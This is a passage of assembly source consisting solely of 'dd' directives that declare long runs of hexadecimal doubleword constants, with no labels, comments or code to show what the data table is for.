0B06AD069h, 0CD88D89Ah, 6E304ECDh, 0B77A4486h, 8F1BDDABh dd 0F426A97Ch, 0EC9B8F8Eh, 3C8026DDh, 95CE942Ah, 0A0A7020Fh dd 0DE21FCAFh, 0BABDFFC5h, 3FAFD574h, 0A33B07B4h, 4CA8F8F2h dd 6010BD4Fh, 5F5284ECh, 0D6667587h, 8B6DE19Ch, 475BAA08h dd 34DD4104h, 80D96D95h, 192C93BDh, 9991AF9Ah, 12F69471h dd 0F703A74Ch, 10B95E1Bh, 4FEA189Eh, 7366743Dh, 0A28E8C01h dd 1B543305h, 487ECA5Fh, 543379A2h, 6F1A231Ch, 0B2F5325h dd 0D3DCB257h, 66495F2Ah, 9A1BF81h, 165ECF60h, 70D98E7Ah dd 4D421A83h, 0A78089BAh, 0EF7DD471h, 26DB2011h, 0B1ACDCAh dd 8863EF23h, 8B965E38h, 7B168AC8h, 0EEEA307Dh, 0CBC32831h dd 0A340D646h, 908BF6D8h, 506AF9A4h, 9CC40575h, 0DFBF101Fh dd 607C8E5Fh, 3A6971A4h, 45910149h, 459E2A87h, 8676FE48h dd 1FE6D39Dh, 338C8556h, 6CF9C52Dh, 661907A2h, 770926Fh dd 0C4F6FE97h, 4B0A45DAh, 0AF6F7D8Ch, 0B0492C3h, 2524BA51h dd 9DDE5C93h, 7FA08AA4h, 0F4384508h, 98413D05h, 0F6F8CF80h dd 0F2D5C386h, 3E0ACB6Dh, 0AE0D5AB4h, 5B75EAEBh, 731CE395h dd 59450E69h, 0C97FE82Eh, 8F631B96h, 7B7AC35Ah, 34ECB616h dd 86933F94h, 9B26A2A0h, 37D61FCCh, 2EACE536h, 0C520B284h dd 18B94844h, 309376BEh, 1E5B1A4Ch, 82B5A8BCh, 1CDE3CE7h dd 710FEA5Eh, 820C25B2h, 8734250h, 0BE5D7033h, 8A84F00Eh dd 7B365762h, 0B68F9EA6h, 126B6841h, 0DBA9A919h, 478B4EDDh dd 2F29BFDDh, 831E6E0Dh, 51BE5021h, 3D3DC6FAh, 9DFA816Dh dd 95113C30h, 3674ED28h, 0A908B6B2h, 838EB0D7h, 0B602AD66h dd 0F0CAB69Eh, 6409D1CBh, 0E5F7965Bh, 5F97EF3Eh, 0A47BAE0Fh dd 437F39A2h, 5DB22DF6h, 53845864h, 9138E928h, 54B2A496h dd 54C4D43Ah, 410D9CC8h, 5B751B52h, 0A11B8920h, 53E6EE8Ch dd 3F7604F1h, 0D66A6ED4h, 3F1189FAh, 0F723A870h, 3382B8F6h dd 2AE8B7CCh, 51B93C7Ch, 9A270F21h, 0CA96AC9Eh, 0D392F1E2h dd 6334D464h, 0A9D903B3h, 0E17F2FEh, 1C8EB848h, 5D77D74Bh dd 0CB7DD60Ah, 816B27BEh, 4A43234Eh, 15B7BD25h, 91EDBC92h dd 142CE2A0h, 558D2CCCh, 58E8A51Eh, 0C2208649h, 0FBE5A8Eh dd 3F8877D5h, 53434664h, 968FF2E0h, 1B1F5A2Eh, 7DC4F09Eh dd 9AD06DCh, 0AD3D1078h, 89EE4E66h, 6BD6F93Dh, 622C5364h dd 2BC2CCF1h, 0D940F641h, 9CFB2957h, 674ACB3h, 29688EA3h dd 0D4860463h, 479F0719h, 0C3DE6F7h, 9E7CBE7Ch, 9B492529h dd 0CD589CAh, 0FC0E36F7h, 0A584BEF5h, 0B7498061h, 0A1D4DAACh dd 664EF489h, 0BCF41379h, 9580821Dh, 0D66E8415h, 0EB7ED9AEh dd 6D880448h, 0C8D5711Bh, 8415BE6Ch, 71B986F8h, 2DBE9370h dd 4DB7C134h, 7EE2708h, 0C10D252h, 4D07D1E4h, 0CF644EF6h dd 0C2775DF5h, 24C93E8h, 3879E70Ch, 47DA73FDh, 0C7DE6FF7h dd 0DF3B5845h, 0B2D01D29h, 0A4F4DAE1h, 0EC0FEBF8h, 0F57D865h dd 0B00845CDh, 16EFDAA5h, 60BEA0DFh, 0AC955E4h, 0AED6762Dh dd 0BA7060DAh, 60452D0Ah, 2D0EEA0Ah, 0C3D82594h, 823335BEh dd 0B8C652C7h, 27D52C4Fh, 7C136E9Bh, 5B5468Bh, 0D49158FCh dd 1D464B65h, 0E2EFFFADh, 2BB611AFh, 6FCFA1ADh, 0AFB61191h dd 0C91100DCh, 0D6890DABh, 23E7C4D7h, 7E391338h, 6BE799FDh dd 0F4474219h, 0B4BA5F28h, 0D9BEFCB1h, 0A488F7CDh, 8DBA162Ah dd 7D56F52h, 1076DED0h, 136AAE38h, 0D5453B23h, 0CACA9E57h dd 0E99FA93Bh, 2EDE7991h, 0FB6C266Eh, 8DC0D7E8h, 10299C8Ch dd 0B8760447h, 641DCE69h, 6451E953h, 0F4D36C8Eh, 59DC0691h dd 0FCD707F7h, 0CA1B86ABh, 22E59FA9h, 1AD7342Eh, 6603534Eh dd 73D5132Fh, 948BDC58h, 0BF2BC710h, 0C6657210h, 0E9754B24h dd 4404EC92h, 332DB461h, 44ECDE2Ch, 0D5FF1C11h, 4BA26F1Dh dd 1FAAF036h, 0CE9AA9FDh, 0D03E94E3h, 5612DC62h, 2E511994h dd 0C7F7FAF3h, 758EBF48h, 0B83399A8h, 0FCFA6A5Ch, 0F12D64C5h dd 7F62616Bh, 250D1F3Ch, 90753791h, 1B6934DAh, 0ADD07ECBh dd 8FC6EE66h, 0B2233C57h, 72A4642Ah, 21846210h, 550FE619h dd 86A91990h, 3E3F57D5h, 3710A0A4h, 1BEC6C8Ch, 43B55B6Dh dd 0D01304E1h, 41ECF1D6h, 76595A49h, 99293F0h, 0C16DF7FCh dd 95F9A2C9h, 6A5DFAB1h, 968D2A95h, 93D7D563h, 72A41F34h dd 3948BCA0h, 8577E37Fh, 12544322h, 0F0CCCD85h, 0B46D5537h dd 754022A3h, 0BB9442CDh, 0C4FFAE2Fh, 3E73BCBDh, 0BBEC111Dh dd 0E4769505h, 66A49A01h, 0B59FDFA2h, 0DEC5DD54h, 6181BBD5h dd 0B02C82C7h, 44E8DFD5h, 7EDB9736h, 1CE27A11h, 355A2202h dd 3CED7138h, 85B4EFF5h, 8A70092Dh, 0EE705326h, 251ACA93h dd 6028EA16h, 2DC301FFh, 0C5C5D023h, 0DE279C1Ch, 2C0D3A0Bh dd 2B7EEEB4h, 830990CFh, 1CFF3466h, 0B94A17BCh, 0D9A5B8C7h dd 0D2D9E4DDh, 0CA20051h, 0FD32A8B8h, 0CC4C819Fh, 35A8082Ah dd 38050023h, 0C3A9558Eh dd 85AF6CB9h, 13830681h, 0B3305115h, 8DFCE9EDh, 6ED6460Bh dd 30BD7879h, 48F9E814h, 92B9B39Dh, 3EF09F83h, 7238A19Ch dd 0CB82D3D4h, 0EE0CEA1h, 38277175h, 43F2EFB9h, 0BE105C5Dh dd 39F09CA9h, 0C04A035Dh, 0C8A6ADDCh, 0B3DDD2CBh, 3A627807h dd 0E0FAB1F6h, 0C505139Bh, 0B917A4E3h, 3D0BB327h, 0AB372B4Eh dd 0E6171994h, 0FFEDD8F9h, 25758D50h, 0FC20BCD3h, 1DFD9ED1h dd 0E1C3C2DFh, 452597EDh, 0A89EE55Dh, 0CECC171Eh, 0E98CD334h dd 0B1A8B5A1h, 26D2FF51h, 3AF2D39h, 4CB22D7h, 5D6FBA02h dd 0DA803E32h, 37CC0392h, 578E836Bh, 805AC860h, 78041DB6h dd 0A9E90155h, 0C57DFBA5h, 9B4B5ECCh, 87AF70F9h, 0CBCA373h dd 8BDBCE4Fh, 6E66AA98h, 0B538C44Bh, 716DDF23h, 4881AC6Eh dd 252B7BABh, 3E9F9C52h, 97C4C387h, 5F47EA54h, 3306869Ch dd 0A95C840h, 0DEC15D3Ch, 0F3E96111h, 747D5BFEh, 17B44EF1h dd 0D86F24F7h, 6F108775h, 0CCE3C635h, 80FE54D5h, 0F8CAE16Dh dd 78C1933h, 5C4D0D96h, 5F23FBC7h, 0D1985EFCh, 11A2F0C7h dd 3168E37Ch, 0C2BF2E29h, 8AD5BA8Ah, 76DF3C3Ah, 0A0387B13h dd 5B37C206h, 2EF0689Ch, 0D0F1ED59h, 8DD19903h, 0F2424F96h dd 0A20E14FCh, 0FA120FF1h, 9E600874h, 0F83B37CDh, 0CDF6F058h dd 8B7CD1ABh, 19B53153h, 49AF81A6h, 2D6279AFh, 0B89BD3C8h dd 612660E1h, 0C598E9EFh, 73451568h, 5BA7AFAAh, 0F65972EBh dd 7FDD9ECAh, 57794272h, 34B76A2Eh, 3FF1A608h, 0A451C818h dd 0F5036523h, 43EE4717h, 524226E4h, 0BA080CF5h, 0FEEF0974h dd 84FCF735h, 930BD094h, 8B8CB1C5h, 0E4CC37Dh, 8D3DEC6h dd 29E2A2DCh, 0A87AF869h, 9132DD32h, 902B16h, 0C1233AA7h dd 0DA9BBCD3h, 0C6C63347h, 40C4F235h, 0BDC9028Ch, 0F4B58A79h dd 86717231h, 0AF115017h, 0EF62A37Dh, 72BA4A30h, 0A3F62696h dd 18DC0445h, 0A4C5393Dh, 0A28FB551h, 1FD271AFh, 9083D1D1h dd 0EDCB61E7h, 0F62E9CFh, 0E0B8D5F8h, 0D8AD0FCBh, 4C6082FAh dd 0C1BB3EEBh, 64D7B26Ah, 8640C02Bh, 6979F90Ah, 95D7851Bh dd 0EDE049A3h, 92F91DD7h, 935581C5h, 13004BF4h, 536916EDh dd 330380C8h, 23684979h, 8A3F174Ah, 4EF4809Bh, 48FFC9CAh dd 29F2B563h, 398FFFAEh, 257258ABh, 0A493E3CAh, 0E3221862h dd 29AEDAEh, 52C61348h, 0ABE42EDAh, 0FE7932E2h, 3ECDBE4Eh dd 0D7717230h, 29807F56h, 0DD63A24Ah, 0E40ECA62h, 54F2E655h dd 91EE0467h, 645A0917h, 461FFD47h, 55FD11E6h, 4C1F9FDDh dd 6BDA52A2h, 63B580FCh, 0E50FE229h, 7F8EE175h, 4B7EBA4Dh dd 0D5ACFC78h, 723CDC8Fh, 0AAB0AA6Ch, 7CCAFAD1h, 0A97DC27h dd 7FD82376h, 2155FA67h, 3F999E8Eh, 29C54C03h, 2C709346h dd 2A094067h, 6B76AB8Eh, 2BA84603h, 0BB6538C5h, 0AA8F8527h dd 0F357957h, 4A8F95DFh, 0A3CA41D3h, 0B397E9A2h, 0F0596595h dd 0CC4A1042h, 6EC9548Ah, 0D35D4F30h, 5B68A209h, 0D4A74ED8h dd 66C3AA39h, 85D1D468h, 6AA97771h, 96E6546Ch, 0CEC039D2h dd 31913D24h, 0F059B9F6h, 701E47A7h, 407800EEh, 281311B3h dd 2478990Eh, 3E2CE7BBh, 7DE480A8h, 0BA6FD198h, 6B22A901h dd 9B7FEDC4h, 0FF521BA5h, 82BB64B9h, 7FCE9991h, 61946D1Ch dd 105793DAh, 98342EB8h, 0C4097288h, 662DDE00h, 0F279614Ch dd 9BAF597Ah, 1FE5AD49h, 0C5CFC763h, 63D26455h, 11DF4467h dd 0F822E997h, 0C4036D07h, 34F399C6h, 3BEAE5A7h, 229ADE96h dd 25DC05BFh, 0A2430A0Bh, 0A3D3B6BAh, 37ABA29h, 0C2AEF858h dd 6AC02961h, 9AAF2174h, 70CAB5EDh, 0C97F5A5h, 0F6D81BB7h dd 0E1D50A87h, 0D0591A9Eh, 0B9E5CE1Bh, 3200107Ah, 28114969h dd 0EB7AAC09h, 0EEAE40C0h, 9FE43C24h, 9E4F0157h, 312BD5Fh dd 42BFF1DBh, 0A53255D1h, 348BE5A5h, 0CCD71D96h, 0E8F4E9BCh dd 0D7E9D78Ah, 5B5D8AB8h, 0D761C289h, 0C6A3DE18h, 75C3A259h dd 9A52C878h, 7AE6E549h, 86860760h, 0FED006D4h, 81993CA6h dd 5E7137h, 401C5347h, 207B12FEh, 301482ABh, 2878F672h dd 2C2CD675h, 0EAE4A04Fh, 6BEFB96Bh, 5B62BD08h, 0BB5FFBC0h dd 77425AA7h, 8EB3E4B6h, 3DCA1916h, 0C296ED5Fh, 0AFD813FAh dd 10752E88h, 4829B280h, 0E43D7E04h, 0F270924Eh, 1B2B427Bh dd 5CA7AA49h, 0A6ACC663h, 70C5F855h, 89D78567h, 7C264917h dd 4201DDC7h, 3FF061A6h, 31696B97h, 285A969Eh, 2C3C2CBBh dd 0AA733509h, 2B2B8739h, 0CB66B6E8h, 0EAA0F6B8h, 92C12011h dd 9AAFA97Ch, 84CA7D69h, 6961DE8h, 41D80390h, 0A0550AB4h dd 70199697h, 805501Fh, 3C109178h, 0A2194F68h, 0AF7EAA89h dd 89AC4680h, 8C633804h, 820E8547h, 372F967h, 40AFD5D7h dd 0A03A21D7h, 0B00FF9A4h, 88151D96h, 0C17F3BCh, 0C3E6528Ah dd 2365CEB8h, 509D6208h, 0E8BD6E58h, 63C25A79h, 0DDC24C98h dd 3C3623D2h, 0C1B6E6F7h, 96301645h, 169134B7h, 57427DE7h dd 0B70A5DF7h, 776A135Eh, 54040230h, 2769367Ah, 453CB6BAh dd 7CF4B0FEh, 3C7FB1EBh, 7DB2A1E0h, 0A02FF95Fh, 29A2252Ch dd 4DBBE524h, 3CD61905h, 6480ED0Ch, 66491308h, 8BA5AE08h dd 5ED87276h, 0AD1D1E9Ah, 0B41882DBh, 0F4A74AEBh, 0C479B6DAh dd 259DC0F0h, 0C7A579DBh, 0C6DF45F4h, 0A339A904h, 6817CD09h dd 4C9D1CE8h, 10E9E7AEh, 83D48A6h, 0C3C6DA7h, 8A430527h dd 8B03AF98h, 0AB42EA88h, 0AA82D4B8h, 0A2E60721h, 828E0864h dd 0B0FA0DD5h, 30A60D1Eh, 0F0E843C1h, 0D0E52294h, 0A0E9A29Fh dd 28156223h, 7410A64Eh, 15D17E5Bh, 7162AA08h, 0A8A24640h dd 0FDE23864h, 89CE0577h, 1F52396Fh, 43BE35D3h, 0A4C23335h dd 3463F547h, 4FB31777h, 25D6F95Ch, 0B816DB6Ah, 268C3D58h dd 43790D68h, 0FB5F6E78h, 602D4079h, 8EB3C4F8h, 6C8677B9h dd 9FA6D1F8h, 9AD1FD38h, 9C693040h, 9FB66754h, 0A1F87FE6h dd 23952E3Eh, 0E5F5A73Bh, 79950DAh, 79CCBE31h, 0C3036AFDh dd 0D90F8592h, 35028B94h, 6AFFC72Eh, 0D5421641h, 0C343D154h dd 6E222FF7h, 2572D53Fh, 8D3A295Bh, 19121208h, 72080C50h dd 0A8FD7ECCh, 0CF60F0BAh, 5E137681h, 84EBF494h, 2F7A8A8Dh dd 5B5CB0B5h, 0B42B4E87h, 2BCBC6F7h, 0FE4EDA7h, 6A16A386h dd 6189F717h, 7E3D1C6Eh, 749C2263h, 0F17306E5h, 761BD7DFh dd 14AE928Bh, 0CB749519h, 0D0DF45D1h, 0EF52CC2Ch, 0EB2B9B41h dd 6B7735ECh, 28388922h, 4AB5B64Dh, 0DF79E04Bh, 19A534F1h dd 0BFD0ED9Fh, 0C09368Bh, 6486DE68h, 0C6403DE0h, 9E815DA4h dd 0F261F807h, 66520757h, 0C2AE95CFh, 244A833Bh, 34A48D5Eh dd 8E51930Bh, 0C5D97F52h, 0A9EFDA6Dh, 7E90FD5Bh, 0E777ADE9h dd 4D5E1E38h, 0E92D5859h, 23380C8h, 0EE4719B1h, 1C8640FCh dd 6561753Ah, 9C11BCC1h, 5FAAF914h, 41F6FEC6h, 0B39CAE4Eh dd 7DF1A7F3h, 839B10BEh, 0FFCFDE03h, 0C2047AF4h, 198F4D96h dd 55C22796h, 7D1F752Eh, 0AD72ED40h, 673B5654h, 103EAE77h dd 0AC7C55FFh, 0F1BBA9BBh, 98D21218h, 0D684C48h, 29121ED0h dd 4F3860A4h, 5FFFFE9Eh, 0C4FD78ABh, 8F73F482h, 0EB58B1B5h dd 3C2A0E87h, 0A7CC2677h, 8DE5FDE7h, 0E9166BA6h, 0E2096B07h dd 0FE7DEA56h, 0F4BCBB6Fh, 716382E3h, 7613495Eh, 0D4AA13CBh dd 0AB761539h, 40DCC541h, 1751CC74h, 6F2B5B7Dh, 0F57795E2h dd 2938392Bh, 8A350E49h, 3EB96449h, 985B6F0h, 67206E9Fh dd 6811B58Bh, 0F28A5DE8h dd 0BF46BE20h, 1A00C244h, 8CA1F9F7h, 0E77347DFh, 6BFE750Bh dd 0D3527FB9h, 5D586D91h, 0C9BF209Ch, 5C20F5B9h, 2630EDBAh dd 4341868Dh, 0C7F4A2B1h, 0FED87B7Ch, 0BAFE33E9h, 0AB654D0Ch dd 0C7A6A411h, 0C1439713h, 8191F0FCh, 807921B2h, 4E432Dh dd 0C1F45EDAh, 0E02F55A0h, 501A830Bh, 583F35CAh, 0B02D56DDh dd 0F6A277CCh, 14D9B9F1h, 0C9218CB6h, 4F6AE6A0h, 0E2C4BD18h dd 0DDBAC54Dh, 97572458h, 5E47C342h, 75B6900Ch, 0F8345D77h dd 0B2E1A76Fh, 6CFCFE74h, 8C9045B1h, 1A1BA20Fh, 43208A43h dd 2690DE66h, 0BBEC57h, 5DF9B957h, 141BF222h, 0F9475EFEh dd 2BB0C762h, 0FC5B89E7h, 1A6B080Ah, 0B1DD5A73h, 0CDD63C81h dd 6D05DCADh, 0ACD8A432h, 2489BBC5h, 0BCAC49BFh, 0F2A9A88Bh dd 0F7D77D2Fh, 41819DD0h, 56C9C366h, 4456A04h, 7E084604h dd 8C9528BDh, 34C08DD2h, 3D6949C6h, 943EB725h, 6694402Dh dd 95CF14A9h, 1825F762h, 71E398A9h, 43F63289h, 0C83688CCh dd 927BF5F1h, 0FBDA399Ch, 0ED4EB2D4h, 6C6C87FCh, 3213FA98h dd 0D4E5A27Dh, 86D07558h, 0ECA56D98h, 0F3A70868h, 0E340FF93h dd 0E445B194h, 8192806Bh, 65154852h, 3077149Bh, 4F9D374Ch dd 6006550h, 0CC736F7Dh, 19045379h, 6B594380h, 5F869C76h dd 0C40A3E15h, 96D09076h, 0ACD289BAh, 3C1140D4h, 0BD7989D1h dd 0C5171CE5h, 15DC81F0h, 4A65121Bh, 250FAED8h, 0B2F57218h dd 0D8EF9E78h, 8CDA4260h, 9A1FEA22h, 831D6642h, 693E866h dd 40B85557h, 61CACF66h, 302CE297h, 0B8052E87h, 2CF6BA06h dd 0CEE9BC47h, 2D1D3B66h, 0D39C6277h, 0ABA358D0h, 0AB439524h dd 8AB2CD76h, 0ACAF5E7h, 42D2278Eh, 22A82883h, 30C73D86h dd 2891BD7Fh, 6CD933CAh, 2AD572A9h, 0BBD842A9h, 0EBA52A10h dd 8F60827Fh, 9A81486Bh, 332B708h, 478A4040h, 0E15639E4h dd 71B40537h, 184939CFh, 43CDB5E3h, 0A66971BDh, 31275193h dd 49A1A19Dh, 0AC21C9B9h, 0F2036588h, 4B7647B9h, 9C962688h dd 0F2BE0C98h, 87CC0919h, 9D537758h, 866790F9h, 80C6D1A8h dd 81F1F370h, 806926F4h, 8006668Eh, 1F05E0Bh, 40690C58h dd 0A01B8318h, 707C765Bh, 882D16E0h, 0BCE38015h, 82EE4976h dd 0FE2F576h, 0C19E1FCFh, 206228A0h, 8A03FBB4h, 0F329474Ch dd 4F71A884h, 4A261260h, 22EC2EA8h, 0B2E53210h, 0E8E7BE7Ch dd 8CDE7262h, 1A1DD20Dh, 0C31A6242h, 0E6926A66h, 50B81657h dd 19CAEC66h, 342C9517h, 0A6053747h, 2DF6BEE6h, 0CE6842B7h dd 2CDD3A6Eh, 0D3FC6273h, 0A353586Eh, 3B5B956Bh, 6ABECD51h dd 6ACCF594h, 0F2D32786h, 2AA8A887h, 3CC6FD85h, 0AA91DD7Ch dd 2FD923CEh, 0C9557AA9h, 8B985EA9h, 93DCBF15h, 8B70837Fh dd 8489486Bh, 0EA36B788h, 97184105h, 588538C1h, 0D1C78422h dd 184978D2h, 43D5959Fh, 0A66541B3h, 0B1216992h, 9A0A59Dh dd 0CC214FB9h, 0E202A488h, 537627B9h, 98963608h, 0F4BE04D8h dd 86CC1539h, 9DD37168h, 86A791F1h, 80E6D1ACh, 81C1F3F2h dd 1126B5h, 0C01A66AEh, 61FE5E1Bh, 50680C40h, 0B81B0364h dd 747CB655h, 0E22F6E1h, 0FDE39015h, 0E26E4176h, 1F22F976h dd 0D97E1DCFh, 24522BA0h, 0D73BFCB4h, 0A90E1D97h, 9CB4F31Fh dd 0C3F7122Ah, 0AADCAE49h, 3AC5F2F9h, 608F5EB1h, 4D2629Dh dd 0F203DAFBh, 30B6EB0h, 0C692E467h, 60B8D757h, 11C50C66h dd 382C8597h, 0A4053F07h, 2EF6B2C6h, 0C9E840A7h, 2C9D3916h dd 0D3DC657Fh, 0A94359ECh, 0AA5395A2h, 0DEBACDB1h, 1FDEF575h dd 0B6C0276Eh, 0C6B7284Ah, 0ECD6BD7Bh, 0F081FD88h, 5AC91338h dd 0E9C28259h, 9C585AA9h, 9BE52E10h, 8700807Fh, 8691376Bh dd 13AB608h, 408E40C0h, 0E0D43924h, 71F70557h, 1856B9DFh dd 41DDF59Bh, 0A46151B9h, 0C1236195h, 89B3596Eh, 1C3ECD49h dd 2212E378h, 0AB660649h, 0B4860678h, 0F6A9FCEAh, 85DC11ABh dd 82537378h, 86E792C9h, 8086AEA0h, 81D1F274h, 80192676h dd 1E664Fh, 41FC5E6Bh, 206B0C48h, 0B01C8360h, 287CF657h dd 32D617h, 0E2F3A0E7h, 0C3FE3986h, 2F62FD76h, 0D15E1BCFh dd 28422AA0h, 0D433FCB4h, 0AA0A1D17h, 0B36F35Fh, 4AA812FBh dd 22AD2E88h, 0B2C5B200h, 0E8977E44h, 8CC5926Eh, 1A11C20Bh dd 43186A41h, 0A6956667h, 70B8A857h, 9C52D66h, 3C2CB517h dd 0A20547C7h, 2FF6B6A6h, 0C9684697h, 2C5D381Eh, 0D23C657Bh dd 0AB73596Ah, 14AB95E9h, 0CAA6CD90h, 0EAC0F5B4h, 92D12797h dd 1AA7A8BFh, 44C67D88h, 0A6901D78h, 0B1D903C9h, 88528AA8h dd 8C1856A9h, 82053010h, 8310817Fh, 8099376Bh, 3EB688h dd 400C4080h, 0E0133904h, 70168547h, 1866F9E7h, 0BC25D597h dd 0A67D21B0h, 0B12D7994h, 89A25D9Eh, 0C2E53B8h, 0C2022288h dd 0A377E6B9h, 90961608h, 88B9F458h, 84CC1D79h, 82D36D08h dd 872793C1h, 80A6AEA4h, 8021F2F6h, 12637h, 4012666Fh dd 0A1FA5E7Bh, 306A0C70h, 481C036Ch, 6C7D3656h, 3222B6E7h dd 7BE3B016h, 236E3177h, 3EA2E176h, 293E19CFh, 2FB235A0h dd 0AA2BFDB4h, 0AB061D97h, 0BB0F39Fh, 4B69129Bh, 228DAE98h dd 0B3347278h, 0E88F1E48h, 8CC98268h, 9A17CA08h, 83197640h dd 8695E067h, 80B96957h, 1C54D66h, 0C02CA597h, 0A0054F86h dd 10F6AA86h, 0C8E84487h, 2C1D2706h, 0D21C6447h, 0AB6359E8h dd 94A39528h, 8AA2CDF0h, 8AC2F5A4h, 82D627EFh, 2A628B3h dd 40C63D8Eh, 20903D7Bh, 70D973C8h, 0A8D292A8h, 7CD852A9h dd 8A253210h, 7F20867Fh, 8261366Ah, 3F22B608h, 41824040h dd 0E0523964h, 70360577h, 187639EFh, 0BC2C3593h, 0A67931B6h dd 312F7197h, 49A5519Fh, 2C2FD1B8h, 0B2026188h, 0AB77C9B9h dd 8C966788h, 8AB9EC98h, 83CC1999h, 83536F18h, 876794D9h dd 8046AFD8h, 8031F238h, 800926D0h, 8016661Ch, 81F85E72h dd 650C74h, 401D836Eh, 0E07D7651h, 0F02296E4h, 58E24017h dd 1CEE2977h, 36E2E576h, 251E17CFh, 2DA234A0h, 0A923FDB4h dd 0AC821D17h, 0BF2F3DFh, 4B0A12BBh, 229A2EE8h, 0B33C3230h dd 0E88B3E6Ch, 8CCBB27Ah, 1A14B271h, 0C316F24Ch, 6695A261h dd 10B94A57h, 79C57A66h, 242D5C17h, 0BE054B47h, 29F6AC66h dd 0CC6845F7h, 2DDD270Eh, 0D37C64C3h, 0AB9359A6h, 2B7B950Fh dd 4A8ECDC3h, 0AAB4F5ADh, 0B2CF27EBh, 0AAAA8B1h, 0CCC7FD8Fh dd 62915D7Bh, 13D9E3C8h, 0BF555AA8h, 64984EA9h, 8E452410h dd 79308F7Fh, 83694A6Ah, 3FA6B488h, 41404700h, 0EFB13844h dd 703985E7h, 180E7937h, 0BC3015EFh, 0A67701A4h, 0B12E89AEh dd 9A5D593h, 4C2F17BEh, 2205808Bh, 7377D9B8h, 0A8966F08h dd 0FCB9E0D8h, 8ACC67B9h, 9FD36E28h, 85A794D1h, 8766AF5Ch dd 8181F27Ah, 7126F1h, 0C00A660Ch, 0E1F65E4Ah, 106C0C78h dd 58190368h, 647FB650h, 0B62D76E4h, 0B9E3D017h, 0C6E6177h dd 4E22C976h, 22FFE5CFh, 33922FA0h, 0A85BFAB4h, 0AC1E1C97h dd 0A3CF31Fh, 4B2B125Bh, 226AAEF8h, 0B324F228h, 0E884DE70h dd 8CCDA264h, 9A15BA0Eh, 3167E43h, 46945C66h, 20B92B57h dd 71C56A66h, 282D5497h, 0BC055707h, 2AF6AE46h, 0CFE84AE7h dd 2D9D2636h, 0D35C644Fh, 0AB835964h, 0AB73956Eh, 0A8ACDD3h dd 4AB6F5D5h, 0A2CC27A7h, 72A92897h, 48C7BD9Ch, 0BC917D02h dd 32D9D3C4h, 4FD562AEh, 0ED584AA9h, 0F2652610h, 9BC08C7Fh dd 9C71496Bh, 62AB708h dd 450640C0h, 0E19039A4h, 71290517h, 1887B9BFh, 43F475ABh dd 0A6551199h, 31598181h, 0C9BC4984h, 6C235585h, 1203AF89h dd 0FB76A8B9h, 0E496F788h, 9EBE2418h, 99CC05D9h, 84537938h dd 81E79DA9h, 8106D390h, 8091F09Ch, 80F92182h, 0CE6705h dd 0C1D45ECEh, 0E05F0CBAh, 0D1E28308h, 6763F643h, 91DCA922h dd 8D22E01Bh, 18EED971h, 0C6A20D75h, 76DE03CEh, 14423EA0h dd 52D3F2B4h, 0AC9A1017h, 985EF15Fh, 41FC117Bh, 0AA6331C8h dd 0BA60B3A0h, 78C6FEB4h, 842ED286h, 8B1A221Fh, 4BDE3A5Bh dd 0B4907E1Ah, 387B1C59h, 7ACA9361h, 0E4ECD014h, 9A0511C6h dd 1BF68F26h, 0C769BAD7h, 215D3EBEh, 0D1BC600Bh, 0A8B35B42h dd 14CB8A5Dh, 0CAF6CCDAh, 6AE8F555h, 0D2DD2765h, 0FAA1A8F6h dd 14C37DACh, 0DE939D0Ah, 25DAC3C0h, 5652EAACh, 691806AAh dd 34850811h, 0BAD0BD7Fh, 6CF9316Bh, 0EEEB388h, 0BAE44280h dd 0E39F3A84h, 8E508207h, 191BF847h, 43BA5527h, 0A7B4E15Fh dd 0B14919E0h, 89B48DB4h, 8C24BB8Dh, 201BE82h, 0C371A0BFh dd 60977B0Bh, 50BE5A59h, 0B8CC24F9h, 0F4D30948h, 8A278561h dd 9D26D7F4h, 82E1EEAEh, 7E1208Bh, 41426701h, 21925E4Ch dd 70BE0CFAh, 29F20329h, 0BC683633h, 6A2736D5h, 8FE0F01Fh dd 7961D173h, 43A3B174h, 0BFBE41CEh, 0F17219A0h, 0CF8A03B4h dd 5DB60897h, 0F248F59Fh, 0B7251FFDh, 2467B0D8h, 0B2217398h dd 0E9019E38h, 8C8F42C0h, 9BEA6A3Ch, 8306262Ah, 69C0852h dd 40BD057Dh, 0E1CB9773h, 702C4EEDh, 0D804D0CAh, 0FCF6EF20h dd 56E9AA57h, 591D36FEh, 359C7C2Bh, 0B6A35D31h, 2DC38B55h dd 0CE72CCDEh, 6B2AF5D3h, 53822724h, 0BA5028D6h, 0F71B3DBCh dd 0CEBFBD12h, 0DDAC33FCh, 524BF2ADh, 0D71482ABh, 7584CA11h dd 0DA51D27Fh, 7D39A06Bh, 168D7B08h, 0BEF45E40h, 0E5872CE4h dd 8F5C8B37h, 199DC44Fh, 437B57A3h, 0A794661Dh, 3178D8C3h dd 484CED25h, 0AC38AB55h, 0F20FB6FEh, 0CB70BCB2h, 0DC97FD32h dd 12BE9B55h, 0D7CDC4FFh, 655319CBh, 52678D20h, 0BAC6DBD4h dd 0F4F1ECBEh, 0EE92393h, 5DC6783Dh, 23505FC2h, 0F7990C3Bh dd 684383C9h, 0DC107623h, 7A3B16CDh, 97EE8063h, 7D68C97Dh dd 0C5A73573h, 7EBCBFCDh, 0D1EDF8A1h, 0FF4B93B4h, 55964017h dd 1E78D9DFh, 0B5CDED3Bh, 277BABA8h, 4DAF7490h, 0E9409FBCh dd 8CAFC202h, 1BFAAADDh, 0C30FC63Ah, 0E698184Ah, 50BF0D61h dd 99C89B6Dh, 0F42BCC92h, 6049385h, 0DDF6C007h, 66699BC7h dd 50DD4E26h, 39FC78D7h, 0E4535F3Fh, 0AEDB884Ch, 77FECBA2h dd 0B7CF4FBh, 0C0A327C3h, 0B440A825h, 0D302FD5Ch, 0F8BBDD16h dd 0D4AE23FEh, 0DEC8FAA2h, 15D71EACh, 56A48C12h, 0E5E1F37Fh dd 7541906Bh, 1A914388h, 0BCFA5A00h, 0E68E2EC4h, 8CD80827h dd 19DF0757h, 4318B45Fh, 0A783F193h, 67709102h, 858C12Ch dd 0CC3A99A5h, 0E20CCDF6h, 0D3733BB6h, 0D897BC8Ch, 94BEBB9Ah dd 16CDF418h, 45D321D8h, 62A78938h, 0B2E6DDC8h, 0F8C1EDA0h dd 8C91238Ch, 9EDA7882h, 0DE5F8Dh, 0C7D80C1Bh, 0B62303F9h dd 0D010B6C2h, 7830F6C9h, 94EA9061h, 0FEEAC17Ch, 85E43973h dd 1E9F3DCDh, 0C1DDBBA1h, 0E743B4B4h, 51927197h, 187AE11Fh dd 0B4CEE9DBh, 27F82DB8h, 4D6F3588h, 0E9A0BF80h, 8CBFF28Ch dd 4DC2929Ah, 363C2F0h, 